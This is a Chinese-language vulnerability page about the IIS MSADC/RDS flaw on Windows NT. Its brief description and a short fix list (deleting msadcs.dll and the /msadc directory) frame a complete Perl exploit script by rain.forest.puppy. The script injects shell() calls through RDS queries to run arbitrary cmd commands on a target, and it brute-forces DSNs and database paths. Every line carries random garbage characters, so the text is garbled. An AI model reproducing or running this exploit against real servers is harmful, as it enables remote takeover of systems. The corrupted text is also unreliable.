IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
VN]"[ muIJeQ.C 涉及程序:
~R~MC(5N[ Microsoft NT server
Gn 1 #e&LyYx4 描述:
snyA 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
B1z7r0Rm, (4FZK7Fm 详细:
F[~~fm_ 如果你没有时间读详细内容的话,就删除:
4'H)h'#C c:\Program Files\Common Files\System\Msadc\msadcs.dll
C@9K`N[* 有关的安全问题就没有了。
"Q;Vy t e@g=wN"@ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
!+n'0{ >,c'Z<TM 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
OZ2faf 关于利用ODBC远程漏洞的描述,请参看:
6Q}>=R^h ;rt\ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Y|-:z@n6C |uM(A~? 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Fuo.8 http://www.microsoft.com/security/bulletins/MS99-025faq.asp '2m"ocaf OwLJS5r@<- 这里不再论述。
fTd":F OTmr-l6 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Q*R9OF qex::Qf /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Eg$Er*)h8 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
5$/Me=g< :-cqC|Y \1#~]1~
s #将下面这段保存为txt文件,然后: "perl -x 文件名"
FES0lw{G# r-&* `Jh #!perl
kjOI7` DU #
xm> y3WC # MSADC/RDS 'usage' (aka exploit) script
WWv.kglz #
kvam`8SeL # by rain.forest.puppy
/1?{,Das= #
14p{V}f3 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Mqm9i # beta test and find errors!
Y$FhV~m gTg[!}_;\N use Socket; use Getopt::Std;
OQ4rJ#b getopts("e:vd:h:XR", \%args);
1c:/c|shQ_ /B5rWJ2AS print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
+l>X Z Q8NrbMrl if (!defined $args{h} && !defined $args{R}) {
gX/? print qq~
py9`q7F Usage: msadc.pl -h <host> { -d <delay> -X -v }
>&)|fV&4 -h <host> = host you want to scan (ip or domain)
g7Z3GUCGL -d <seconds> = delay between calls, default 1 second
Hx ojxZwm -X = dump Index Server path table, if available
@EUvx -v = verbose
j +Ro? -e = external dictionary file for step 5
/@6T~XY M h{CyYsQ Or a -R will resume a command session
CA,2&v" P8GGN ~; exit;}
vJ uL+'[i T_<: $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
p?x]|`M if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
%6TS_IpJ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
y1 Y if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
__ G=xf $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
M(W-\L if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
&M2fcw? $K_-I8e| if (!defined $args{R}){ $ret = &has_msadc;
TGI`}# die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Y2(,E e2 ;et(Yi;9 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
? 1Uq ud . "cmd /c ";
;i&t|5y~ $in=<STDIN>; chomp $in;
1#nY Z% $command="cmd /c " . $in ;
l!%V&HJV
Ol*|J if (defined $args{R}) {&load; exit;}
HvW6=d(# '.#3h$d print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
J%8hf%!ud &try_btcustmr;
l,ra24 c~ Q5A print "\nStep 2: Trying to make our own DSN...";
I 3dUI~}u &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
='fN
xabB me@EKspX print "\nStep 3: Trying known DSNs...";
]wV_xZ)l^A &known_dsn;
]?~[!&h "qw.{{:tf print "\nStep 4: Trying known .mdbs...";
[ejl #'*5 &known_mdb;
BV]$=
e' wQ\bGBks if (defined $args{e}){
&u~%5; print "\nStep 5: Trying dictionary of DSN names...";
- _BjzA| &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
n;~6'fxe ~{[,0,lWU print "Sorry Charley...maybe next time?\n";
Z+Ppd=||, exit;
qz|xow/ns@ qj,^"rp1: ##############################################################################
sKDL=c;?j It5n;,n sub sendraw { # ripped and modded from whisker
zc!q a"4yM sleep($delay); # it's a DoS on the server! At least on mine...
}1Pv6L(o) my ($pstr)=@_;
jW]Fx:mQi socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
iayxN5, die("Socket problems\n");
}K9Ji]tOK: if(connect(S,pack "SnA4x8",2,80,$target)){
ybpU?n select(S); $|=1;
q ?m<9` print $pstr; my @in=<S>;
GD#W=O select(STDOUT); close(S);
`qa>6`\ return @in;
/
2h6 } else { die("Can't connect...\n"); }}
L$= a,$ l# |M.V6G ##############################################################################
&F|Wk,y S?#'Y*h sub make_header { # make the HTTP request
tMr$N[@r my $msadc=<<EOT
gBo~NLrf POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
@jD#Tn-* User-Agent: ACTIVEDATA
N1X;&qZDd Host: $ip
eLk:">kj Content-Length: $clen
}~! D]/B Connection: Keep-Alive
vf['$um K2-nP2Go? ADCClientVersion:01.06
".
wG~H Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
UUxP4 ,~7+r#q7 --!ADM!ROX!YOUR!WORLD!
.KF(_
92 Content-Type: application/x-varg
'z">4{5 Content-Length: $reqlen
XC\'8hL: ~JohcU}d EOT
]H=P(Z- ; $msadc=~s/\n/\r\n/g;
\-I)dMm[ return $msadc;}
;;n=(cM|z IYB;X ##############################################################################
}r:8w*47 ~D!Y]
SK sub make_req { # make the RDS request
8iN@n8O my ($switch, $p1, $p2)=@_;
GlaZZ, my $req=""; my $t1, $t2, $query, $dsn;
#oEq)Vq>g| ~)]n67Or~ if ($switch==1){ # this is the btcustmr.mdb query
@v n% $query="Select * from Customers where City=" . make_shell();
i|G /x $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
>I9|N}I
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
q%wF=<W z.
xRJ elsif ($switch==2){ # this is general make table query
vjYG>YhV $query="create table AZZ (B int, C varchar(10))";
8rSu,&< $dsn="$p1";}
d4A3DTW |p":s3K"Hy elsif ($switch==3){ # this is general exploit table query
]d,#PF $query="select * from AZZ where C=" . make_shell();
( ALsc@K $dsn="$p1";}
d$v{oC} 8:}$L)[V elsif ($switch==4){ # attempt to hork file info from index server
]`eJSk. $query="select path from scope()";
N"/be $dsn="Provider=MSIDXS;";}
=N{-lyr) vz'<i. Yv4 elsif ($switch==5){ # bad query
L'}^Av_+ $query="select";
k1M?6TW& $dsn="$p1";}
t:qPW<wc RX\@fmK& $t1= make_unicode($query);
Z%I9:( $t2= make_unicode($dsn);
E0"DHjR $req = "\x02\x00\x03\x00";
szD
BfGd%j $req.= "\x08\x00" . pack ("S1", length($t1));
-.hH,zm $req.= "\x00\x00" . $t1 ;
*G;D u`; $req.= "\x08\x00" . pack ("S1", length($t2));
dV+GWJNNE $req.= "\x00\x00" . $t2 ;
LZrkFkiC $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
(JeRJ4 return $req;}
uCGn9] jX
6+~ ##############################################################################
q<?r5H5 T!gq
Z sub make_shell { # this makes the shell() statement
%{^kmlO return "'|shell(\"$command\")|'";}
d15E$?ZLH Y'M}lv$sa ##############################################################################
j:'!P<# r2>y
!Q? sub make_unicode { # quick little function to convert to unicode
\DRYqLT` my ($in)=@_; my $out;
O<6!?1|KP for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
~aRcA|` return $out;}
R=s^bYdoy v9vY#W ##############################################################################
u"M^qRhD -vBk,;^> sub rdo_success { # checks for RDO return success (this is kludge)
({p@Ay my (@in) = @_; my $base=content_start(@in);
,v*<yz/ if($in[$base]=~/multipart\/mixed/){
ED
R*1!d return 1 if( $in[$base+10]=~/^\x09\x00/ );}
,Y2){8#l return 0;}
Ov8{ny px.]m- ##############################################################################
y{1|@?ii sK`pV8&xq sub make_dsn { # this makes a DSN for us
b:(*C my @drives=("c","d","e","f");
Cr%6c3aQ print "\nMaking DSN: ";
Nyo,6 AA foreach $drive (@drives) {
8??%H7~ print "$drive: ";
qGc>+!y my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
DSx D531[A "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
?3Dsz . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
vCtag]H2@ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
}-ysP$ return 0 if $2 eq "404"; # not found/doesn't exist
zj9aaZ} if($2 eq "200") {
~yuj;9m3 foreach $line (@results) {
0i65.4sK return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
jYJfo< } return 0;}
OPwO`pN Oz_|pu ##############################################################################
3ZU<u; ^)|1T#Tz sub verify_exists {
"M5&&\uT my ($page)=@_;
Og3bV_," my @results=sendraw("GET $page HTTP/1.0\n\n");
}9ZcO\M return $results[0];}
5T;,wQ< cE0Kvqe` ##############################################################################
$2\k| @)s YC0FXN V sub try_btcustmr {
} ~#^FFe my @drives=("c","d","e","f");
;R.l?Bg my @dirs=("winnt","winnt35","winnt351","win","windows");
2d Px s:8& LXQ-J foreach $dir (@dirs) {
!t92_y3 print "$dir -> "; # fun status so you can see progress
YKs^aQm# foreach $drive (@drives) {
:i ft{XR' print "$drive: "; # ditto
SvR? nN| $reqlen=length( make_req(1,$drive,$dir) ) - 28;
4`+hX' $reqlenlen=length( "$reqlen" );
,zY!EHpx $clen= 206 + $reqlenlen + $reqlen;
Zf%6U[{ T SZQ4e my @results=sendraw(make_header() . make_req(1,$drive,$dir));
a7UfRG if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
)q+9_KUq else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
xkzC+ _A SRx `m,535 ##############################################################################
3xnu SOdh mf)o1O&B sub odbc_error {
(j;6}@ my (@in)=@_; my $base;
sS|N.2* my $base = content_start(@in);
\aG:l.IM0 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
4l*4wx""v $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
H:HJHd"W $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
L'Fy\K\ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
kf<5`8 return $in[$base+4].$in[$base+5].$in[$base+6];}
*FT )` print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
bqDHLoB\1 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
"m:4e`_dz $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
o-jF?9m tgbr/eCoU ##############################################################################
]h$,=Qf
hD q"[8u ]j sub verbose {
Dj9).lgc my ($in)=@_;
Zu/}TS9bi return if !$verbose;
]}&f<X print STDOUT "\n$in\n";}
$lMEZt8A r%/*,lLO ##############################################################################
/)` kYD6 q0hg0DC[; sub save {
CS*wvn;. my ($p1, $p2, $p3, $p4)=@_;
p}'uCT
ga open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Jh'\ nDz@e print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
f}cz_"o4 close OUT;}
B)M& FO $}/ !mXI5 ##############################################################################
WwF4`kxT S:En9E sub load {
HwH Wi my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
n8 eR?'4 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
?X.MKNbp @p=<IN>; close(IN);
bvMa|;f1 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
bNG;`VZ% $target= inet_aton($ip) || die("inet_aton problems");
Ge>%?\ print "Resuming to $ip ...";
B|Rnh;B- $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
)c#m<_^
if($p[1]==1) {
]jz%])SzH $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
}bVWV0Aeim $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
-PSI^%TR# my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
w8Mi:;6 if (rdo_success(@results)){print "Success!\n";}
XKU+'Tz else { print "failed\n"; verbose(odbc_error(@results));}}
qi\!<clv elsif ($p[1]==3){
Sh=Px9'i if(run_query("$p[3]")){
~_Tm S9 print "Success!\n";} else { print "failed\n"; }}
xPY/J#X$ elsif ($p[1]==4){
0omg%1vt<A if(run_query($drvst . "$p[3]")){
!ACWv*pW print "Success!\n"; } else { print "failed\n"; }}
<ealt exit;}
K`nI$l7hg j3bTa|UdT ##############################################################################
%7PprN0> 6.Nu[-? sub create_table {
>a;^=5E my ($in)=@_;
`A)9 $reqlen=length( make_req(2,$in,"") ) - 28;
IwIk;pB O $reqlenlen=length( "$reqlen" );
.Y%)& $clen= 206 + $reqlenlen + $reqlen;
~O)Uz| my @results=sendraw(make_header() . make_req(2,$in,""));
$S Q8,Y, return 1 if rdo_success(@results);
:Gh*
d) my $temp= odbc_error(@results); verbose($temp);
rdsm
/^,s return 1 if $temp=~/Table 'AZZ' already exists/;
$Gs&'
yR return 0;}
n2Oi< ) HN\Zrb ##############################################################################
>o=3RB=Fh .-;K$'YG sub known_dsn {
6}.B2f9 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
FKd5]am my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
L)'JkX J "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
u:pdY'`"# "banner", "banners", "ads", "ADCDemo", "ADCTest");
9lA@ K[ P nsQ[}. foreach $dSn (@dsns) {
oQC* d}_E} print ".";
"msCiqF{z next if (!is_access("DSN=$dSn"));
Tw{H+B"uVz if(create_table("DSN=$dSn")){
,# 1ke print "$dSn successful\n";
WYQJ+z5 if(run_query("DSN=$dSn")){
I72UkmK` print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
L!3AiAnr print "Something's borked. Use verbose next time\n";}}} print "\n";}
W>Y8 u8 .$DB\jJXjV ##############################################################################
[IVT0
i w|x=^ sub is_access {
z
I`'n%n= my ($in)=@_;
)EYsqj $reqlen=length( make_req(5,$in,"") ) - 28;
%Yg;s'F>#q $reqlenlen=length( "$reqlen" );
j=)Cyg3_% $clen= 206 + $reqlenlen + $reqlen;
XnQd(B`M my @results=sendraw(make_header() . make_req(5,$in,""));
2B_6un];W my $temp= odbc_error(@results);
;^:9huN verbose($temp); return 1 if ($temp=~/Microsoft Access/);
ch<Fi%) return 0;}
v.)'be*u ~ X8U@f
##############################################################################
Y;je ::" R0;c'W) sub run_query {
a}a_&rf~Z my ($in)=@_;
Eo\#*Cv* $reqlen=length( make_req(3,$in,"") ) - 28;
xDu11W+g $reqlenlen=length( "$reqlen" );
f)q\RJA)X $clen= 206 + $reqlenlen + $reqlen;
^Ois]#py my @results=sendraw(make_header() . make_req(3,$in,""));
EH"iK2n\9 return 1 if rdo_success(@results);
pvTV* my $temp= odbc_error(@results); verbose($temp);
(|Am return 0;}
}$V]00
X 5j`"@C5;O ##############################################################################
Phl't~k k0?4vA sub known_mdb {
tnbaU%;|J my @drives=("c","d","e","f","g");
L1`^~m| my @dirs=("winnt","winnt35","winnt351","win","windows");
0/<}.Z] my $dir, $drive, $mdb;
?L#C'Lz2+ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
cD8.rRyD Q{!lLka # this is sparse, because I don't know of many
%}P^B^O my @sysmdbs=( "\\catroot\\icatalog.mdb",
MQ2gzKw> "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
N10'./c K "\\system32\\certmdb.mdb",
geWis(#J "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
C81+nR it\{#rb=4 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
$I-$X? "\\cfusion\\cfapps\\forums\\forums_.mdb",
*(L4rK\2 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
^o"9f1s 5 "\\cfusion\\cfapps\\security\\realm_.mdb",
P6S^wjk "\\cfusion\\cfapps\\security\\data\\realm.mdb",
<(?ahO5 "\\cfusion\\database\\cfexamples.mdb",
jt
tlzCDn "\\cfusion\\database\\cfsnippets.mdb",
OnF+ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
@\Sa) "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
oScHmGFv "\\cfusion\\brighttiger\\database\\cleam.mdb",
RX>kOp29 "\\cfusion\\database\\smpolicy.mdb",
M{zzXE[@ "\\cfusion\\database\cypress.mdb",
A) p}AEBc "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
IoJkM-^H&) "\\website\\cgi-win\\dbsample.mdb",
'Y6{89 y "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Kom$i<O?48 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
TF|GGYi ); #these are just
)rz4IfE foreach $drive (@drives) {
{ LJwW*? foreach $dir (@dirs){
9+9}^B5@A foreach $mdb (@sysmdbs) {
29u"\f a print ".";
$WnK if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
#@Zz
Bf print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
B[C2uVEX: if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
zrU0YHmt print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
kJ>l,AD/ } else { print "Something's borked. Use verbose next time\n"; }}}}}
H]"Z_n_ CBs0>M/ foreach $drive (@drives) {
}k
duN0 foreach $mdb (@mdbs) {
C>N)~Ut print ".";
1]fqt[*) if(create_table($drv . $drive . $dir . $mdb)){
:cG_aOkid print "\n" . $drive . $dir . $mdb . " successful\n";
_+wou(1y if(run_query($drv . $drive . $dir . $mdb)){
CCp{ZH s print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
m'r6.Hp3Ng } else { print "Something's borked. Use verbose next time\n"; }}}}
v%/_*69a }
fV
Ah</aZ l:8gCi ##############################################################################
#It{B aT(Pf7
O sub hork_idx {
v/8K?$"q print "\nAttempting to dump Index Server tables...\n";
tn6\0_5n print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Jm\'=#U# $reqlen=length( make_req(4,"","") ) - 28;
0^]E-Zf $reqlenlen=length( "$reqlen" );
,L\OhT $clen= 206 + $reqlenlen + $reqlen;
%D\TLY my @results=sendraw2(make_header() . make_req(4,"",""));
/Y:_qsO1 if (rdo_success(@results)){
el.;T*Wn my $max=@results; my $c; my %d;
B~lrd#qC for($c=19; $c<$max; $c++){
_,NL;66=[ $results[$c]=~s/\x00//g;
W*u Yb|0 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
"Hg.pDNZ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
:bW}*0b- $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
]Tf.KUm $d{"$1$2"}="";}
mDvZ1aj foreach $c (keys %d){ print "$c\n"; }
KZ`d3ad } else {print "Index server doesn't seem to be installed.\n"; }}
{_ww1'|A EHcqj;@m ##############################################################################
X;v/$=-mz =:1f
0QF sub dsn_dict {
3kdTteyy+ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
@&S4j]rq while(<IN>){
4bhm1Q $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
*r?g&Vw$m next if (!is_access("DSN=$dSn"));
4NQS'*%D if(create_table("DSN=$dSn")){
E4HG`_cWb print "$dSn successful\n";
u\ytiGO* if(run_query("DSN=$dSn")){
_|wgw^.LJ] print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
JQ%e' print "Something's borked. Use verbose next time\n";}}}
V(=~p[ print "\n"; close(IN);}
N/8qd_:8 2
Nr j@q ##############################################################################
Z%N{Y x( G!8O*4+A sub sendraw2 { # ripped and modded from whisker
' ,a'r.HJH sleep($delay); # it's a DoS on the server! At least on mine...
WsL*P.J my ($pstr)=@_;
d&wg\"E socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
O=MO M die("Socket problems\n");
be$wGO=Ts if(connect(S,pack "SnA4x8",2,80,$target)){
>VE,/?71@ print "Connected. Getting data";
L<J';#BD open(OUT,">raw.out"); my @in;
]H[RY&GY select(S); $|=1; print $pstr;
e8a_)TU? while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
xFHc+m' m~ close(OUT); select(STDOUT); close(S); return @in;
zW!3>(L/ } else { die("Can't connect...\n"); }}
O!hg@[\B+ p` B48TW ##############################################################################
'vhgR2/ Ua,Lg.z sub content_start { # this will take in the server headers
k5$_Q# my (@in)=@_; my $c;
J1 a/U@" for ($c=1;$c<500;$c++) {
E&#AX: if($in[$c] =~/^\x0d\x0a/){
vy,ER< if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
FaPX[{_E else { return $c+1; }}}
Jq l#z/z return -1;} # it should never get here actually
=~?2i)-mC ?M;2H{KG: ##############################################################################
^p|MkB?uM gPT-zul sub funky {
245(ajxHC my (@in)=@_; my $error=odbc_error(@in);
bkceR>h% if($error=~/ADO could not find the specified provider/){
{K09U^JU print "\nServer returned an ADO miscofiguration message\nAborting.\n";
\d&j`UVY exit;}
bguhx3s if($error=~/A Handler is required/){
M9_
y>N[0 print "\nServer has custom handler filters (they most likely are patched)\n";
a,#f%#J\ exit;}
I$n 0aR6 if($error=~/specified Handler has denied Access/){
zob^z@2 print "\nServer has custom handler filters (they most likely are patched)\n";
^a[7qX_B exit;}}
%?<C
?. <[Q#}/$" ##############################################################################
(VO)
Q w_ kHy_) sub has_msadc {
IwZn%>1N my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
{e/12q my $base=content_start(@results);
n (C*LK return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
GLcf'$l return 0;}
d?oupW}uu 1C{n!l ########################
y/$WjFj3" !qV{OXdrB gLsl/G 解决方案:
zg.' 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Kg VLXI6 2、移除web 目录: /msadc